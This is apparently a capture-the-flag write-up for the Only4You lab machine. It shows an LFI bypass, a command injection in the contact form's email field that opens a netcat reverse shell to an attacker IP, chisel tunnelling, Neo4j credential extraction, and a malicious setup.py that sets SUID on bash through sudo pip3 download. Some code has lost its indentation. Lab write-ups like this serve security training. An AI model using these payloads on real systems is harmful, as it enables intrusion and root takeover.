13 minute read

Synopsis

only for you on a medium linux machine that resembles a ctf which can be said to have no real life vulnerabilities. in enumeration process we can get beta as sub domain and get source code. do our analysis determine LFI vulnerabilities in this domain. take the app.py file on the domain only4you.htb will get the RCE vulnerability, where attackers can send requests using the POST method and email, subject, messages as parameters. After getting shell access, we see an application running on localhost using port 3000 and 8001. Doing port forwarding will find neo4j on port 8001, we can get a valid username john and password to login via SSH. to get root privileges, we can upload the malicious tar.gz on the gogs port 3000 application, then to download the malicious file we can execute it using the pip command. executing bash -p will gain root privileges.

Portscan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
|   256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_  256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Default page

fuzzing the subdomain with ffuf will get a beta as subdomain, added into host file.

➜  only4you ffuf -u http://only4you.htb/ -H "Host: FUZZ.only4you.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 6 -mc all

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://only4you.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.only4you.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 6
________________________________________________

beta                    [Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 74ms]
:: Progress: [19966/19966] :: Job [1/1] :: 629 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

download the zip file on from beta subdomain

Source Code Analyze

app.py file

from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg
  
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['RESIZE_FOLDER'] = 'uploads/resize'
app.config['CONVERT_FOLDER'] = 'uploads/convert'
app.config['LIST_FOLDER'] = 'uploads/list'
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png']

@app.route('/', methods=['GET'])
def main():
return render_template('index.html')

@app.route('/resize', methods=['POST', 'GET'])

def resize():

if request.method == 'POST':

if 'file' not in request.files:

flash('Something went wrong, Try again!', 'danger')

return redirect(request.url)

file = request.files['file']

img = secure_filename(file.filename)

if img != '':

ext = os.path.splitext(img)[1]

if ext not in app.config['UPLOAD_EXTENSIONS']:

flash('Only png and jpg images are allowed!', 'danger')

return redirect(request.url)

file.save(os.path.join(app.config['RESIZE_FOLDER'], img))

status = resizeimg(img)

if status == False:

flash('Image is too small! Minimum size needs to be 700x700', 'danger')

return redirect(request.url)

else:

flash('Image is succesfully uploaded!', 'success')

else:

flash('No image selected!', 'danger')

return redirect(request.url)

return render_template('resize.html', clicked="True"), {"Refresh": "5; url=/list"}

else:

return render_template('resize.html', clicked="False")

  

@app.route('/convert', methods=['POST', 'GET'])

def convert():

if request.method == 'POST':

if 'file' not in request.files:

flash('Something went wrong, Try again!', 'danger')

return redirect(request.url)

file = request.files['file']

img = secure_filename(file.filename)

if img != '':

ext = os.path.splitext(img)[1]

if ext not in app.config['UPLOAD_EXTENSIONS']:

flash('Only jpg and png images are allowed!', 'danger')

return redirect(request.url)

file.save(os.path.join(app.config['CONVERT_FOLDER'], img))

if ext == '.png':

image = convertpj(img)

return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)

else:

image = convertjp(img)

return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)

else:

flash('No image selected!', 'danger')

return redirect(request.url)

return render_template('convert.html')

else:

[f.unlink() for f in Path(app.config['CONVERT_FOLDER']).glob("*") if f.is_file()]

return render_template('convert.html')

  

@app.route('/source')

def send_report():

return send_from_directory('static', 'source.zip', as_attachment=True)

  

@app.route('/list', methods=['GET'])

def list():

return render_template('list.html')

  

@app.route('/download', methods=['POST'])

def download():

image = request.form['image']

filename = posixpath.normpath(image)

if '..' in filename or filename.startswith('../'):

flash('Hacking detected!', 'danger')

return redirect('/list')

if not os.path.isabs(filename):

filename = os.path.join(app.config['LIST_FOLDER'], filename)

try:

if not os.path.isfile(filename):

flash('Image doesn\'t exist!', 'danger')

return redirect('/list')

except (TypeError, ValueError):

raise BadRequest()

return send_file(filename, as_attachment=True)

  

@app.errorhandler(404)

def page_not_found(error):

return render_template('404.html'), 404

  

@app.errorhandler(500)

def server_error(error):

return render_template('500.html'), 500

  

@app.errorhandler(400)

def bad_request(error):

return render_template('400.html'), 400

  

@app.errorhandler(405)

def method_not_allowed(error):

return render_template('405.html'), 405

  

if __name__ == '__main__':

app.run(host='127.0.0.1', port=80, debug=False)

tool.py

from flask import send_file, current_app

import os

from PIL import Image

from pathlib import Path

  

def convertjp(image):

imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)

img = Image.open(imgpath)

rgb_img = img.convert('RGB')

file = os.path.splitext(image)[0] + '.png'

rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)

return file

  

def convertpj(image):

imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)

img = Image.open(imgpath)

rgb_img = img.convert('RGB')

file = os.path.splitext(image)[0] + '.jpg'

rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)

return file

  

def resizeimg(image):

imgpath = os.path.join(current_app.config['RESIZE_FOLDER'], image)

sizes = [(100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700)][::-1]

img = Image.open(imgpath)

sizeimg = img.size

imgsize = []

imgsize.append(sizeimg)

for x,y in sizes:

for a,b in imgsize:

if a < x or b < y:

[f.unlink() for f in Path(current_app.config['LIST_FOLDER']).glob("*") if f.is_file()]

[f.unlink() for f in Path(current_app.config['RESIZE_FOLDER']).glob("*") if f.is_file()]

return False

else:

img.thumbnail((x, y))

if os.path.splitext(image)[1] == '.png':

pngfile = str(x) + 'x' + str(y) + '.png'

img.save(current_app.config['LIST_FOLDER'] + '/' + pngfile)

else:

jpgfile = str(x) + 'x' + str(y) + '.jpg'

img.save(current_app.config['LIST_FOLDER'] + '/' + jpgfile)

return True

the interesting part in app.py is function download.

@app.route('/download', methods=['POST'])

def download():

# parameter
image = request.form['image']

filename = posixpath.normpath(image)

#LFI blacklisted
if '..' in filename or filename.startswith('../'):

flash('Hacking detected!', 'danger')

return redirect('/list')

if not os.path.isabs(filename):

filename = os.path.join(app.config['LIST_FOLDER'], filename)

try:

if not os.path.isfile(filename):

flash('Image doesn\'t exist!', 'danger')

return redirect('/list')

except (TypeError, ValueError):

raise BadRequest()

return send_file(filename, as_attachment=True)

there is potential LFI with blacklisted rules if start with ../ or .., it’s easy to bypass. fireup burpsuite

next im gonna enumerate nginx config file, because wapplyzer detect if target use nginx as webserver.

payload : /etc/nginx/sites-enabled/default

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jun 2023 20:26:54 GMT
Content-Type: application/octet-stream
Content-Length: 460
Connection: close
Content-Disposition: attachment; filename=default
Last-Modified: Sun, 04 Dec 2022 21:54:52 GMT
Cache-Control: no-cache
ETag: "1670190892.3086803-460-3283749922"

server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
	listen 80;
	server_name only4you.htb;

	location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
	}
}

server {
	listen 80;
	server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}

we just get the app.py for beta subdomain, we can get the script app.py in /var/www/only4you.htb/app.py directory.

only4you.htb/app.py file

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jun 2023 20:30:40 GMT
Content-Type: text/x-python; charset=utf-8
Content-Length: 1297
Connection: close
Content-Disposition: attachment; filename=app.py
Last-Modified: Mon, 12 Dec 2022 19:27:33 GMT
Cache-Control: no-cache
ETag: "1670873253.537084-1297-2541619842"

from flask import Flask, render_template, request, flash, redirect
#import file
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
#possible RCE
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

there is import file on app.py which is form.py, we can get the source code

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jun 2023 20:34:29 GMT
Content-Type: text/x-python; charset=utf-8
Content-Length: 2025
Connection: close
Content-Disposition: attachment; filename=form.py
Last-Modified: Mon, 31 Oct 2022 17:25:34 GMT
Cache-Control: no-cache
ETag: "1667237134.0-2025-2730756853"

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status

it is possible to RCE vulnerabillity, as long as we know the parameter. in this case we can send request with POST method with email,subject, and message as parameter.

send the / request with only4you.htb domain into repeater, change the method from GET to POST. im try to make a request from server and get the response using netcat.

netcat result, from here we can gaining access into system

from no we can send a malicious request to webserver and catch with netcat.

POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

email=bunnys@only4you.htb|rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.59+9000+>/tmp/f&subject=tester&message=tester

get the shell and upgrade shell using python3

python3 -c 'import pty; pty.spawn("/bin/bash")'

gather information listening address on system using command ss -tln

port 3000 is gogs

and there is running apps in the background using port 8001. we can do port forwarding 3000 and 8001 using chisel.

on victim command :

./chisel client 10.10.14.59:8000 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 &

on kali command :

./chisel server -p 8000 --reverse3

we can login using admin:admin as credentials

get an information after loged in, if system already migrated to a new database. Neo4j is the world’s leading open source Graph Database which is developed using Java technology. It is highly scalable and schema free (NoSQL).

we can do extract an information for neo4j, in this below command to get neo4j version:

result version of neo4j is 5.6.0, next i tried to dump label.

get label command:

get properties of the key label command:

retrieve password for user john, admin. going into crackstation for decoding the hash.

login via ssh john:ThisIs4You

Privilege Escalation

we can determining how to escalate into root using single command which is sudo -l

john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

There is gogs on port 3000, Gogs is a painless self-hosted Git service that runs virtually anywhere with little overhead.

login on gogs application using jhon:ThisIs4You

here’s the poc, and you can clone this repository.

firstly you need to change the setup.py file, we can import os to use method system.

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
os.system("chmod u+s /bin/bash")

class RunEggInfoCommand(egg_info):
	def run(self):
		RunCommand()
		egg_info.run(self)

class RunInstallCommand(install):
	def run(self):
		RunCommand()
		install.run(self)

setup(

name = "this_is_fine_wuzzi",

version = "0.0.1",

license = "MIT",

packages=find_packages(),

cmdclass={

'install' : RunInstallCommand,

'egg_info': RunEggInfoCommand
},

)

we need to install dependencies package for our exploit with following command:

pip install setuptools
pip install build

#build the package
execute command python -m build

and then go to the gogs, we’re gonna make repository with name bunnys in this case.

after you create a new repository, create an empty file README.md usign touch command. and do stuff like push on github.

when everything is complete, we can download our exploit using sudo with following command:

sudo /usr/bin/pip3 download http\://127.0.0.1\:3000/bunnys/exploit/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz

then execute bash -p and you will be root in the system.

Refferencess

https://www.revshells.com/
https://exploit-notes.hdks.org/exploit/database/neo4j-pentesting/
https://exploit-notes.hdks.org/exploit/network/port-forwarding/port-forwarding-with-chisel/
https://crackstation.net/
https://github.com/wunderwuzzi23/this_is_fine_wuzzi/tree/main
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j